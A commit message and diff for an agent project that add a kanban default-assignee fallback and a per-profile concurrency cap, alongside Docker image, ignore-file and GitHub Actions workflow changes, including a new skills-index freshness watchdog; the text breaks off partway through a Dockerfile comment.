feat(kanban): default_assignee fallback + per-profile concurrency cap (#27145, #21582) (#34244)

Two related dispatcher behaviors that have been missing for a while.

## kanban.default_assignee (#27145)

Reporter (@agarzon): dashboard creates a task without an assignee, task
parks in 'ready' forever even though the operator's intent ('default')
is perfectly clear. The dispatcher already had a 'skipped_unassigned'
bucket but no fallback routing — users had to manually type 'default'
in the assignee field every time.

Behavior: when 'kanban.default_assignee' is set in config.yaml, the
dispatcher applies that assignee to any unassigned ready task before
deciding whether to spawn. The row is mutated (assignee column + an
'assigned' event with source='kanban.default_assignee' for the audit
trail). Empty/whitespace config value = no fallback, preserving the
existing skipped_unassigned behavior.

Dry-run mode reports what WOULD happen via the new
'auto_assigned_default' bucket on DispatchResult, but does NOT mutate
the DB — operators using 'hermes kanban dispatch --dry-run' see the
routing decision before committing.

## kanban.max_in_progress_per_profile (#21582)

Reporter (@edwardchenchen, @simlu, 4 reactions): fan-out workloads
saturate one profile's local model / API quota / browser pool while
other profiles sit idle. The existing global 'max_in_progress' caps
total workers but doesn't balance across profiles.

Behavior: when 'kanban.max_in_progress_per_profile' is set to a
positive int, the dispatcher tracks per-assignee running counts (one
query at tick start) and refuses to spawn for any assignee already at
the cap. Tasks blocked this way go to a new
'skipped_per_profile_capped' bucket on DispatchResult as
(task_id, assignee, current_running_count) tuples — NOT an
operator-actionable failure, just 'try again next tick when the
profile has capacity'.

Pre-existing 'running' tasks count against the cap (verified via
regression test). The cap respects dry_run mode by incrementing
its in-memory counter on each would-be spawn so dry_run reports
the same balanced subset that a real tick would.

Invalid cap values (0, negative, non-int, None) are treated as 'no
cap', preserving the existing behavior. Backward-compatible for
installs that don't set the config.

## Surfaces

- 'hermes kanban dispatch' CLI now prints 'Auto-assigned to
  kanban.default_assignee=X: ...' and 'Deferred (X at per-profile cap,
  N running): ...' lines, plus matching JSON keys in --json output.
- Gateway dispatcher logs the configured values at startup
  ('default_assignee=X', 'max_in_progress_per_profile=N').
- 'kanban.max_in_progress_per_profile' added to DEFAULT_CONFIG with
  inline docs.

## Validation

- tests/hermes_cli/test_kanban_default_assignee.py (6 cases): no-cap
  baseline, auto-assign + DB mutation, dry-run reports without
  mutating, whitespace treated as None, explicit assignees untouched,
  DispatchResult field schema.
- tests/hermes_cli/test_kanban_per_profile_cap.py (9 cases including
  4 parametrized): no-cap baseline, balanced 2-profile fan-out,
  pre-existing running counts against cap, invalid cap values
  (0/-1/'abc'/None), capped tasks dispatched on next tick after
  running task completes, DispatchResult field schema.
- Broader kanban suite: 464/464 pass (was 449 baseline; +15 new
  regression tests across both features).

## Credit

#27145 — Jimmy Johansson reported the dispatcher skipped-unassigned
gap; @agarzon scoped the simpler 'honor kanban.default_assignee' fix
that matches the existing config knob.
#21582 — @edwardchenchen filed the per-profile cap ask after hitting
model 429s on fan-out research projects; @simlu confirmed the same
pain on local-model setups.

.dockerignore

@@ -8,6 +8,10 @@ node_modules
 **/node_modules
 .venv
 **/.venv
+.notebooklm-cli-venv/
+.notebooklm-playwright/
+.pip-cache/
+.uv-cache/
 
 # Built artifacts that are regenerated inside the image.  Excluded so local
 # rebuilds on the developer's machine don't invalidate the npm-install layer
@@ -25,6 +29,8 @@ ui-tui/packages/hermes-ink/dist/
 
 # Runtime data (bind-mounted at /opt/data; must not leak into build context)
 data/
+.hermes-docker/
+.notebooklm-home/
 
 # Compose/profile runtime state (bind-mounted; avoid ownership/secret issues)
 hermes-config/

.github/workflows/deploy-site.yml

@@ -22,7 +22,12 @@ concurrency:
 
 jobs:
   deploy-vercel:
-    if: github.event_name == 'release'
+    # Triggered automatically on release publish (production cuts) and
+    # manually via `gh workflow run deploy-site.yml` when an out-of-band
+    # main commit needs to ship live before the next release tag — e.g.
+    # a skills-index PR that doesn't touch website/** paths and so
+    # doesn't auto-deploy via the deploy-docs path.
+    if: github.event_name == 'release' || github.event_name == 'workflow_dispatch'
     runs-on: ubuntu-latest
     steps:
       - name: Trigger Vercel Deploy
@@ -97,4 +102,4 @@ jobs:
 
       - name: Deploy to GitHub Pages
         id: deploy
-        uses: actions/deploy-pages@cd2ce8fcbc39b97be8ca5fce6e763baed58fa128  # v5.0.0
+        uses: actions/deploy-pages@d6db90164ac5ed86f2b6aed7e0febac5b3c0c03e  # v4

.github/workflows/docker-publish.yml

@@ -28,8 +28,7 @@ permissions:
   contents: read
 
 # Concurrency: push/release runs are NEVER cancelled so every merge gets
-# its own :main or release-tagged image.  :latest is guarded separately
-# by the move-latest job.  PR runs reuse a PR-scoped group with
+# its own image.  PR runs reuse a PR-scoped group with
 # cancel-in-progress: true so rapid pushes to the same PR collapse to the
 # latest commit.
 concurrency:
@@ -72,6 +71,8 @@ jobs:
           load: true
           platforms: linux/amd64
           tags: ${{ env.IMAGE_NAME }}:test
+          build-args: |
+            HERMES_GIT_SHA=${{ github.sha }}
           cache-from: type=gha,scope=docker-amd64
           cache-to: type=gha,mode=max,scope=docker-amd64
 
@@ -140,12 +141,6 @@ jobs:
       # Push amd64 by digest only (no tag).  The merge job assembles the
       # tagged manifest list.  `push-by-digest=true` is docker's recommended
       # pattern for multi-runner multi-platform builds.
-      #
-      # We apply the OCI revision label here (and again on arm64) because
-      # the move-latest job reads it off the linux/amd64 sub-manifest
-      # config of the floating tag to decide whether it's safe to advance.
-      # The label must be on each per-arch image — manifest lists themselves
-      # don't carry image config labels.
       - name: Push amd64 by digest
         id: push
         if: github.event_name == 'push' && github.ref == 'refs/heads/main' || github.event_name == 'release'
@@ -156,6 +151,8 @@ jobs:
           platforms: linux/amd64
           labels: |
             org.opencontainers.image.revision=${{ github.sha }}
+          build-args: |
+            HERMES_GIT_SHA=${{ github.sha }}
           outputs: type=image,name=${{ env.IMAGE_NAME }},push-by-digest=true,name-canonical=true,push=true
           cache-from: type=gha,scope=docker-amd64
           cache-to: type=gha,mode=max,scope=docker-amd64
@@ -199,10 +196,12 @@ jobs:
       - name: Set up Docker Buildx
         uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f  # v3
 
-      # Build once, load into the local daemon for smoke testing.  Cached
-      # to gha with a per-arch scope; the push step below reuses every
-      # layer from this build.
-      - name: Build image (arm64, smoke test)
+      # Build once, load into the local daemon for smoke testing. PR arm64
+      # builds deliberately avoid the gha cache: cold-cache arm64 builds can
+      # outlive GitHub's short-lived Azure cache SAS token, then fail while
+      # reading or writing cache blobs before the smoke test can run.
+      - name: Build image (arm64, smoke test, uncached PR)
+        if: github.event_name == 'pull_request'
         uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f  # v7.1.0
         with:
           context: .
@@ -210,6 +209,22 @@ jobs:
           load: true
           platforms: linux/arm64
           tags: ${{ env.IMAGE_NAME }}:test
+          build-args: |
+            HERMES_GIT_SHA=${{ github.sha }}
+
+      # Main/release builds still use the per-arch gha cache so the digest
+      # push below can reuse layers from this smoke-test build.
+      - name: Build image (arm64, smoke test, cached publish)
+        if: github.event_name != 'pull_request'
+        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f  # v7.1.0
+        with:
+          context: .
+          file: Dockerfile
+          load: true
+          platforms: linux/arm64
+          tags: ${{ env.IMAGE_NAME }}:test
+          build-args: |
+            HERMES_GIT_SHA=${{ github.sha }}
           cache-from: type=gha,scope=docker-arm64
           cache-to: type=gha,mode=max,scope=docker-arm64
 
@@ -235,6 +250,8 @@ jobs:
           platforms: linux/arm64
           labels: |
             org.opencontainers.image.revision=${{ github.sha }}
+          build-args: |
+            HERMES_GIT_SHA=${{ github.sha }}
           outputs: type=image,name=${{ env.IMAGE_NAME }},push-by-digest=true,name-canonical=true,push=true
           cache-from: type=gha,scope=docker-arm64
           cache-to: type=gha,mode=max,scope=docker-arm64
@@ -258,30 +275,17 @@ jobs:
   # ---------------------------------------------------------------------------
   # Stitch both per-arch digests into a single tagged multi-arch manifest.
   # This is a registry-side operation — no building, no layer re-push —
-  # so it runs in ~30 seconds.  On main pushes it produces :main; on
-  # releases it produces :<release_tag_name>.
+  # so it runs in ~30 seconds.
   #
-  # For main pushes the ancestor check runs BEFORE the manifest push so
-  # we never overwrite :main with an older commit.  The top-level
-  # concurrency group (`docker-${{ github.ref }}` with
-  # `cancel-in-progress: false`) already serialises runs per ref; the
-  # ancestor check is defense-in-depth.
+  # On main pushes: tags both :main and :latest.
+  # On releases: tags :<release_tag_name>.
   # ---------------------------------------------------------------------------
   merge:
     if: github.repository == 'NousResearch/hermes-agent' && (github.event_name == 'push' && github.ref == 'refs/heads/main' || github.event_name == 'release')
     runs-on: ubuntu-latest
     needs: [build-amd64, build-arm64]
     timeout-minutes: 10
-    outputs:
-      pushed_release_tag: ${{ steps.mark_release_pushed.outputs.pushed }}
-      release_tag: ${{ steps.tag.outputs.tag }}
     steps:
-      - name: Checkout code
-        if: github.event_name == 'push' && github.ref == 'refs/heads/main'
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
-        with:
-          fetch-depth: 1000
-
       - name: Download digests
         uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093  # v4
         with:
@@ -298,86 +302,7 @@ jobs:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
-      # Read the git revision label off the current :main manifest, then
-      # use `git merge-base --is-ancestor` to check whether our commit is
-      # a descendant of it.  If :main doesn't exist yet, or its label is
-      # missing, we treat that as "safe to publish".  If another run
-      # already advanced :main past us (or diverged), we skip and leave
-      # it alone.
-      - name: Decide whether to move :main
-        if: github.event_name == 'push' && github.ref == 'refs/heads/main'
-        id: main_check
-        run: |
-          set -euo pipefail
-          image=nousresearch/hermes-agent
-
-          image_json=$(
-            docker buildx imagetools inspect "${image}:main" \
-              --format '{{ json (index .Image "linux/amd64") }}' \
-              2>/dev/null || true
-          )
-
-          if [ -z "${image_json}" ]; then
-            echo "No existing :main (or inspect failed) — safe to publish."
-            echo "push_main=true" >> "$GITHUB_OUTPUT"
-            exit 0
-          fi
-
-          current_sha=$(
-            printf '%s' "${image_json}" \
-              | jq -r '.config.Labels."org.opencontainers.image.revision" // ""'
-          )
-
-          if [ -z "${current_sha}" ]; then
-            echo "Registry :main has no revision label — safe to publish."
-            echo "push_main=true" >> "$GITHUB_OUTPUT"
-            exit 0
-          fi
-
-          echo "Registry :main is at ${current_sha}"
-          echo "This run is at      ${GITHUB_SHA}"
-
-          if [ "${current_sha}" = "${GITHUB_SHA}" ]; then
-            echo ":main already points at our SHA — nothing to do."
-            echo "push_main=false" >> "$GITHUB_OUTPUT"
-            exit 0
-          fi
-
-          if ! git cat-file -e "${current_sha}^{commit}" 2>/dev/null; then
-            git fetch --no-tags --prune origin \
-              "+refs/heads/main:refs/remotes/origin/main" \
-              || true
-          fi
-
-          if ! git cat-file -e "${current_sha}^{commit}" 2>/dev/null; then
-            echo "Registry :main points at an unknown commit (${current_sha}); refusing to overwrite."
-            echo "push_main=false" >> "$GITHUB_OUTPUT"
-            exit 0
-          fi
-
-          if git merge-base --is-ancestor "${current_sha}" "${GITHUB_SHA}"; then
-            echo "Our commit is a descendant of :main — safe to advance."
-            echo "push_main=true" >> "$GITHUB_OUTPUT"
-          else
-            echo "Another run advanced :main past us (or diverged) — leaving it alone."
-            echo "push_main=false" >> "$GITHUB_OUTPUT"
-          fi
-
-      # Compute the tag for this run.  Main pushes tag directly as :main
-      # (no per-commit SHA tags); releases use the release tag name.
-      - name: Compute tag
-        id: tag
-        run: |
-          if [ "${{ github.event_name }}" = "release" ]; then
-            echo "tag=${{ github.event.release.tag_name }}" >> "$GITHUB_OUTPUT"
-          else
-            echo "tag=main" >> "$GITHUB_OUTPUT"
-          fi
-
-      # Gate the manifest push on the ancestor check for main pushes.
-      # For releases there is no gate — the check doesn't even run.
       - name: Create manifest list and push
-        if: github.event_name != 'push' || steps.main_check.outputs.push_main == 'true'
         working-directory: /tmp/digests
         run: |
           set -euo pipefail
@@ -385,137 +310,26 @@ jobs:
           for digest_file in *; do
             args+=("${IMAGE_NAME}@sha256:${digest_file}")
           done
-          docker buildx imagetools create \
-            -t "${IMAGE_NAME}:${TAG}" \
-            "${args[@]}"
+          if [ "${{ github.event_name }}" = "release" ]; then
+            TAG="${{ github.event.release.tag_name }}"
+            docker buildx imagetools create \
+              -t "${IMAGE_NAME}:${TAG}" \
+              "${args[@]}"
+          else
+            docker buildx imagetools create \
+              -t "${IMAGE_NAME}:main" \
+              -t "${IMAGE_NAME}:latest" \
+              "${args[@]}"
+          fi
         env:
           IMAGE_NAME: ${{ env.IMAGE_NAME }}
-          TAG: ${{ steps.tag.outputs.tag }}
 
       - name: Inspect image
-        if: github.event_name != 'push' || steps.main_check.outputs.push_main == 'true'
         run: |
-          docker buildx imagetools inspect "${IMAGE_NAME}:${TAG}"
+          if [ "${{ github.event_name }}" = "release" ]; then
+            docker buildx imagetools inspect "${IMAGE_NAME}:${{ github.event.release.tag_name }}"
+          else
+            docker buildx imagetools inspect "${IMAGE_NAME}:main"
+          fi
         env:
           IMAGE_NAME: ${{ env.IMAGE_NAME }}
-          TAG: ${{ steps.tag.outputs.tag }}
-
-      # Signal to move-latest that the release tag is live.
-      - name: Mark release tag pushed
-        id: mark_release_pushed
-        if: github.event_name == 'release'
-        run: echo "pushed=true" >> "$GITHUB_OUTPUT"
-
-  # ---------------------------------------------------------------------------
-  # Move :latest to point at the release tag the merge job pushed.
-  #
-  # :latest is the floating tag that tracks the most recent stable release.
-  # Only `release: published` events advance it — never main pushes.
-  #
-  # We still run an ancestor check against the existing :latest so that a
-  # backport release on an older branch (e.g. patching v1.1.5 after v1.2.3
-  # is out) doesn't drag :latest backwards.  The check is the same shape
-  # as the ancestor check in the merge job for :main: read the OCI
-  # revision label off the current :latest, look up that commit in git,
-  # and only advance if our release commit is a strict descendant.
-  # ---------------------------------------------------------------------------
-  move-latest:
-    if: |
-      github.repository == 'NousResearch/hermes-agent'
-      && github.event_name == 'release'
-      && needs.merge.outputs.pushed_release_tag == 'true'
-    needs: merge
-    runs-on: ubuntu-latest
-    timeout-minutes: 10
-    concurrency:
-      group: docker-move-latest
-      cancel-in-progress: false
-    steps:
-      - name: Checkout code
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
-        with:
-          fetch-depth: 1000
-
-      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f  # v3
-
-      - name: Log in to Docker Hub
-        uses: docker/login-action@4907a6ddec9925e35a0a9e82d7399ccc52663121  # v4.1.0
-        with:
-          username: ${{ secrets.DOCKERHUB_USERNAME }}
-          password: ${{ secrets.DOCKERHUB_TOKEN }}
-
-      - name: Decide whether to move :latest
-        id: latest_check
-        run: |
-          set -euo pipefail
-          image=nousresearch/hermes-agent
-
-          image_json=$(
-            docker buildx imagetools inspect "${image}:latest" \
-              --format '{{ json (index .Image "linux/amd64") }}' \
-              2>/dev/null || true
-          )
-
-          if [ -z "${image_json}" ]; then
-            echo "No existing :latest (or inspect failed) — safe to publish."
-            echo "push_latest=true" >> "$GITHUB_OUTPUT"
-            exit 0
-          fi
-
-          current_sha=$(
-            printf '%s' "${image_json}" \
-              | jq -r '.config.Labels."org.opencontainers.image.revision" // ""'
-          )
-
-          if [ -z "${current_sha}" ]; then
-            echo "Registry :latest has no revision label — safe to publish."
-            echo "push_latest=true" >> "$GITHUB_OUTPUT"
-            exit 0
-          fi
-
-          echo "Registry :latest is at ${current_sha}"
-          echo "This release is at  ${GITHUB_SHA}"
-
-          if [ "${current_sha}" = "${GITHUB_SHA}" ]; then
-            echo ":latest already points at our SHA — nothing to do."
-            echo "push_latest=false" >> "$GITHUB_OUTPUT"
-            exit 0
-          fi
-
-          # Make sure we have the :latest commit locally for merge-base.
-          # Releases can be cut from any branch, so fetch broadly.
-          if ! git cat-file -e "${current_sha}^{commit}" 2>/dev/null; then
-            git fetch --no-tags --prune origin \
-              "+refs/heads/main:refs/remotes/origin/main" \
-              || true
-          fi
-
-          if ! git cat-file -e "${current_sha}^{commit}" 2>/dev/null; then
-            echo "Registry :latest points at an unknown commit (${current_sha}); refusing to overwrite."
-            echo "push_latest=false" >> "$GITHUB_OUTPUT"
-            exit 0
-          fi
-
-          # Our release SHA must be a descendant of the current :latest.
-          # Backport releases on older branches won't satisfy this and will
-          # be left alone — :latest stays on the newer release.
-          if git merge-base --is-ancestor "${current_sha}" "${GITHUB_SHA}"; then
-            echo "Our release commit is a descendant of :latest — safe to advance."
-            echo "push_latest=true" >> "$GITHUB_OUTPUT"
-          else
-            echo "Existing :latest is newer than this release (likely a backport) — leaving it alone."
-            echo "push_latest=false" >> "$GITHUB_OUTPUT"
-          fi
-
-      # Retag the already-pushed release manifest as :latest.
-      - name: Move :latest to this release tag
-        if: steps.latest_check.outputs.push_latest == 'true'
-        env:
-          RELEASE_TAG: ${{ needs.merge.outputs.release_tag }}
-        run: |
-          set -euo pipefail
-          image=nousresearch/hermes-agent
-          docker buildx imagetools create \
-            --tag "${image}:latest" \
-            "${image}:${RELEASE_TAG}"

.github/workflows/skills-index-freshness.yml

@@ -0,0 +1,149 @@
+name: Skills Index Freshness Check
+
+# Belt-and-suspenders for the twice-daily build_skills_index pipeline.
+# If the live /docs/api/skills-index.json ever goes more than 26 hours
+# stale OR the file disappears entirely OR a major source has collapsed,
+# this workflow opens a GitHub issue so we hear about it before users do.
+#
+# Triggered every 4 hours so we catch a stuck cron within one tick.
+
+on:
+  schedule:
+    - cron: '0 */4 * * *'
+  workflow_dispatch:
+
+permissions:
+  contents: read
+  issues: write
+
+jobs:
+  check-freshness:
+    if: github.repository == 'NousResearch/hermes-agent'
+    runs-on: ubuntu-latest
+    steps:
+      - name: Probe live index
+        id: probe
+        run: |
+          set -e
+          URL="https://hermes-agent.nousresearch.com/docs/api/skills-index.json"
+          echo "Probing $URL"
+          # -L follows redirects; -f fails on HTTP errors; -s suppresses progress
+          if ! curl -fsSL -o /tmp/skills-index.json "$URL"; then
+            echo "status=fetch-failed" >> "$GITHUB_OUTPUT"
+            echo "detail=Could not download $URL" >> "$GITHUB_OUTPUT"
+            exit 0
+          fi
+          # Validate + extract generated_at and per-source counts
+          python3 <<'PY' >> "$GITHUB_OUTPUT"
+          import json, sys
+          from datetime import datetime, timezone
+
+          try:
+              with open("/tmp/skills-index.json") as f:
+                  data = json.load(f)
+          except Exception as e:
+              print(f"status=parse-failed")
+              print(f"detail=JSON decode error: {e}")
+              sys.exit(0)
+
+          generated_at = data.get("generated_at", "")
+          total = data.get("skill_count", 0)
+          skills = data.get("skills", [])
+          if not isinstance(skills, list):
+              print("status=invalid-shape")
+              print(f"detail=skills field is not a list (got {type(skills).__name__})")
+              sys.exit(0)
+
+          # Per-source counts
+          from collections import Counter
+          by_src = Counter(s.get("source", "") for s in skills)
+
+          # Freshness
+          age_hours = None
+          try:
+              ts = datetime.fromisoformat(generated_at.replace("Z", "+00:00"))
+              age_hours = (datetime.now(timezone.utc) - ts).total_seconds() / 3600
+          except Exception:
+              pass
+
+          # Floors — same as build_skills_index.py EXPECTED_FLOORS.
+          floors = {
+              "skills.sh": 100,
+              "lobehub": 100,
+              "clawhub": 50,
+              "official": 50,
+              "github": 30,
+              "browse-sh": 50,
+          }
+          issues = []
+          if age_hours is not None and age_hours > 26:
+              issues.append(f"Index is {age_hours:.1f}h old (limit 26h)")
+          for src, floor in floors.items():
+              count = by_src.get(src, 0)
+              if src == "skills.sh":
+                  count = by_src.get("skills.sh", 0) + by_src.get("skills-sh", 0)
+              if count < floor:
+                  issues.append(f"{src}: {count} < {floor}")
+          if total < 1500:
+              issues.append(f"total skills: {total} < 1500")
+
+          if issues:
+              detail = "; ".join(issues)
+              print("status=degraded")
+              # GITHUB_OUTPUT doesn't allow newlines without explicit delimiter
+              print(f"detail={detail}")
+          else:
+              print("status=ok")
+              print(f"detail=Index OK — {total} skills, generated {generated_at}")
+              by_summary = ", ".join(f"{k}={v}" for k, v in by_src.most_common(8))
+              print(f"summary={by_summary}")
+          PY
+
+      - name: Report status
+        run: |
+          echo "Probe status: ${{ steps.probe.outputs.status }}"
+          echo "Detail:       ${{ steps.probe.outputs.detail }}"
+          if [ -n "${{ steps.probe.outputs.summary }}" ]; then
+            echo "Summary:      ${{ steps.probe.outputs.summary }}"
+          fi
+
+      - name: Open issue on degraded / failed probe
+        if: steps.probe.outputs.status != 'ok'
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          STATUS: ${{ steps.probe.outputs.status }}
+          DETAIL: ${{ steps.probe.outputs.detail }}
+        run: |
+          # Find existing open issue by title prefix so we don't spam — we
+          # append a comment instead of opening a new one each tick.
+          TITLE_PREFIX="[skills-index-watchdog]"
+          existing=$(gh issue list \
+            --repo "${{ github.repository }}" \
+            --state open \
+            --search "in:title \"$TITLE_PREFIX\"" \
+            --json number,title \
+            --jq '.[] | select(.title | startswith("'"$TITLE_PREFIX"'")) | .number' \
+            | head -1)
+          BODY="Automated freshness probe failed.
+
+          **Status:** \`$STATUS\`
+          **Detail:** $DETAIL
+
+          The Skills Hub at /docs/skills depends on \`/docs/api/skills-index.json\`.
+          The unified index is rebuilt by \`.github/workflows/skills-index.yml\` (cron 6/18 UTC)
+          and \`.github/workflows/deploy-site.yml\` (on every push affecting website/skills).
+          If this issue keeps reopening, check the latest runs:
+
+          - https://github.com/${{ github.repository }}/actions/workflows/skills-index.yml
+          - https://github.com/${{ github.repository }}/actions/workflows/deploy-site.yml
+
+          This issue was opened by \`.github/workflows/skills-index-freshness.yml\`. Close it once the underlying problem is fixed; the next probe will reopen if it's still broken."
+          if [ -n "$existing" ]; then
+            echo "Appending to existing issue #$existing"
+            gh issue comment "$existing" --repo "${{ github.repository }}" --body "Probe still failing at $(date -u +%FT%TZ): \`$STATUS\` — $DETAIL"
+          else
+            echo "Opening new watchdog issue"
+            gh issue create --repo "${{ github.repository }}" \
+              --title "$TITLE_PREFIX Skills index is stale or degraded ($STATUS)" \
+              --body "$BODY"
+          fi

.gitignore

@@ -12,6 +12,13 @@ __pycache__/
 .env.production.local
 .env.development
 .env.test
+.hermes-docker/
+.notebooklm-home/
+.notebooklm-cli-venv/
+.notebooklm-playwright/
+.pip-cache/
+.uv-cache/
+compose.hermes.local.yml
 export*
 __pycache__/model_tools.cpython-310.pyc
 __pycache__/web_tools.cpython-310.pyc
@@ -71,7 +78,17 @@ mini-swe-agent/
 .nix-stamps/
 result
 website/static/api/skills-index.json
+# skills.json + skills-meta.json are build artifacts emitted by
+# website/scripts/extract-skills.py during prebuild — keep them out of
+# git for the same reason as skills-index.json (large, generated, change
+# every build).
+website/static/api/skills.json
+website/static/api/skills-meta.json
 models-dev-upstream/
 hermes_cli/tui_dist/*
 hermes_cli/scripts/
-docs/superpowers/*
+docs/superpowers/*
+# Working directory for the Hermes Agent's session state (~/.hermes/ at runtime;
+# also created in-repo when an agent operates in this checkout). Plans, audit
+# logs, and per-session caches are never artifacts of the codebase.
+.hermes/

Dockerfile

@@ -1,4 +1,12 @@
 FROM ghcr.io/astral-sh/uv:0.11.6-python3.13-trixie@sha256:b3c543b6c4f23a5f2df22866bd7857e5d304b67a564f4feab6ac22044dde719b AS uv_source
+# Node 22 LTS source stage. Debian trixie's bundled nodejs is pinned to 20.x
+# which reached EOL in April 2026 — we copy node + npm + corepack from the
+# upstream node:22 image instead so we can stay on a supported LTS without
+# waiting for Debian 14 (forky, ~mid-2027).  Bookworm-based slim image used
+# so the produced binary links against glibc 2.36, which runs cleanly on
+# our Debian 13 (trixie, glibc 2.41) runtime.  Bumping to a new Node major
+# is a one-line ARG change; see #4977.
+FROM node:22-bookworm-slim@sha256:7af03b14a13c8cdd38e45058fd957bf00a72bbe17feac43b1c15a689c029c732 AS node_source
 FROM debian:13.4
 
 # Disable Python stdout buffering to ensure logs are printed immediately
@@ -17,7 +25,7 @@ ENV PLAYWRIGHT_BROWSERS_PATH=/opt/hermes/.playwright
 # hermes process, the dashboard, and per-profile gateways.
 RUN apt-get update && \
     apt-get install -y --no-install-recommends \
-    build-essential curl nodejs npm python3 ripgrep ffmpeg gcc python3-dev libffi-dev procps git openssh-client docker-cli xz-utils && \
+    ca-certificates curl python3 python-is-python3 ripgrep ffmpeg gcc python3-dev libffi-dev procps git openssh-client docker-cli xz-utils && \
     rm -rf /var/lib/apt/lists/*
 
 # ---------- s6-overlay install ----------
@@ -72,6 +80,18 @@ RUN useradd -u 10000 -m -d /opt/data hermes
 
 COPY --chmod=0755 --from=uv_source /usr/local/bin/uv /usr/local/bin/uvx /usr/local/bin/
 
+# Node 22 LTS: copy the node binary plus the bundled npm + corepack JS
+# installs from the upstream image.  npm and npx are recreated as symlinks
+# because they're symlinks in the source image (and need to live on PATH).
+# See node_source stage at the top of the file for the version-bump
+# rationale (#4977).
+COPY --chmod=0755 --from=node_source /usr/local/bin/node /usr/local/bin/
+COPY --from=node_source /usr/local/lib/node_modules/npm /usr/local/lib/node_modules/npm
+COPY --from=node_source /usr/local/lib/node_modules/corepack /usr/local/lib/node_modules/corepack
+RUN ln -sf /usr/local/lib/node_modules/npm/bin/npm-cli.js /usr/local/bin/npm && \
+    ln -sf /usr/local/lib/node_modules/npm/bin/npx-cli.js /usr/local/bin/npx && \
+    ln -sf /usr/local/lib/node_modules/corepack/dist/corepack.js /usr/local/bin/corepack
+
 WORKDIR /opt/hermes
 
 # ---------- Layer-cached dependency install ----------
@@ -88,14 +108,15 @@ COPY ui-tui/package.json ui-tui/package-lock.json ui-tui/
 COPY ui-tui/packages/hermes-ink/ ui-tui/packages/hermes-ink/
 
 # `npm_config_install_links=false` forces npm to install `file:` deps as
-# symlinks (the npm 10+ default) even on Debian's older bundled npm 9.x,
-# which defaults to `install-links=true` and installs file deps as *copies*.
-# The host-side package-lock.json is generated with a newer npm that uses
-# symlinks, so an install-as-copy produces a hidden node_modules/.package-lock.json
-# that permanently disagrees with the root lock on the @hermes/ink entry.
-# That disagreement trips the TUI launcher's `_tui_need_npm_install()`
-# check on every startup and triggers a runtime `npm install` that then
-# fails with EACCES (node_modules/ is root-owned from build time).
+# symlinks instead of copies.  This is the default since npm 10+, which is
+# what the image ships now (via the node:22 source stage).  We set it
+# explicitly anyway as defense-in-depth: the previous Debian-bundled npm
+# 9.x defaulted to install-as-copy, which produced a hidden
+# node_modules/.package-lock.json that permanently disagreed with the root
+# lock on the @hermes/ink entry, tripped the TUI launcher's
+# `_tui_need_npm_install()` check on every startup, and triggered a
+# runtime `npm install` that then failed with EACCES.  Keeping the env
+# guards against a future regression if the source npm version changes.
 ENV npm_config_install_links=false
 
 RUN npm install --prefer-offline --no-audit && \
@@ -124,10 +145,14 @@ RUN npm install --prefer-offline --no-audit && \
 # git), `[yc-bench]` (another git dep), and `[termux-all]` (Android
 # redundancy), none of which belong in the published container.
 #
+# Provider packages (anthropic, bedrock, azure-identity) are included
+# so Docker users can use these providers without requiring runtime
+# lazy-install access to PyPI (often blocked in containerized envs).
+#
 # The editable link is created after the source copy below.
 COPY pyproject.toml uv.lock ./
 RUN touch ./README.md
-RUN uv sync --frozen --no-install-project --extra all --extra messaging
+RUN uv sync --frozen --no-install-project --extra all --extra messaging --extra anthropic --extra bedrock --extra azure-identity
 
 # ---------- Source code ----------
 # .dockerignore excludes node_modules, so the installs above survive.
@@ -162,6 +187,29 @@ RUN chmod -R a+rX /opt/hermes && \
 # this a fast (~1s) egg-link creation with no resolution or downloads.
 RUN uv pip install --no-cache-dir --no-deps -e "."
 
+# ---------- Bake build-time git revision ----------
+# .dockerignore excludes .git, so `git rev-parse HEAD` from inside the
+# container always returns nothing — meaning `hermes dump` reports
+# "(unknown)" and the startup banner drops its `· upstream <sha>` suffix.
+# That makes support triage from container bug reports impossible:
+# we can't tell which commit the user is actually running.
+#
+# Fix: write the commit SHA passed via the HERMES_GIT_SHA build-arg to
+# /opt/hermes/.hermes_build_sha at build time, and have
+# hermes_cli/build_info.py read it at runtime.  Both `hermes dump` and
+# banner.get_git_banner_state() try the baked SHA first, then fall back
+# to live `git rev-parse` for source installs (unchanged behaviour).
+#
+# The arg is optional — local `docker build` without --build-arg simply
+# omits the file, and the runtime falls back to live-git lookup.  CI
+# (.github/workflows/docker-publish.yml) passes ${{ github.sha }} so
+# every published image has it.
+ARG HERMES_GIT_SHA=
+RUN if [ -n "${HERMES_GIT_SHA}" ]; then \
+        printf '%s\n' "${HERMES_GIT_SHA}" > /opt/hermes/.hermes_build_sha && \
+        chown hermes:hermes /opt/hermes/.hermes_build_sha; \
+    fi
+
 # ---------- s6-overlay service wiring ----------
 # Static services declared at build time: main-hermes + dashboard.
 # Per-profile gateway services are registered dynamically at runtime by
@@ -179,7 +227,7 @@ COPY docker/s6-rc.d/ /etc/s6-overlay/s6-rc.d/
 # slots from $HERMES_HOME/profiles/<name>/ after a container restart
 # (the /run/service/ scandir is tmpfs and wiped on restart). Phase 4.
 RUN mkdir -p /etc/cont-init.d && \
-    printf '#!/bin/sh\nexec /opt/hermes/docker/stage2-hook.sh\n' \
+    printf '#!/command/with-contenv sh\nexec /opt/hermes/docker/stage2-hook.sh\n' \
         > /etc/cont-init.d/01-hermes-setup && \
     chmod +x /etc/cont-init.d/01-hermes-setup
 COPY --chmod=0755 docker/cont-init.d/015-supervise-perms /etc/cont-init.d/015-supervise-perms
@@ -188,13 +236,32 @@ COPY --chmod=0755 docker/cont-init.d/02-reconcile-profiles /etc/cont-init.d/02-r
 # ---------- Runtime ----------
 ENV HERMES_WEB_DIST=/opt/hermes/hermes_cli/web_dist
 ENV HERMES_HOME=/opt/data
+
+# `docker exec` privilege-drop shim. When operators run
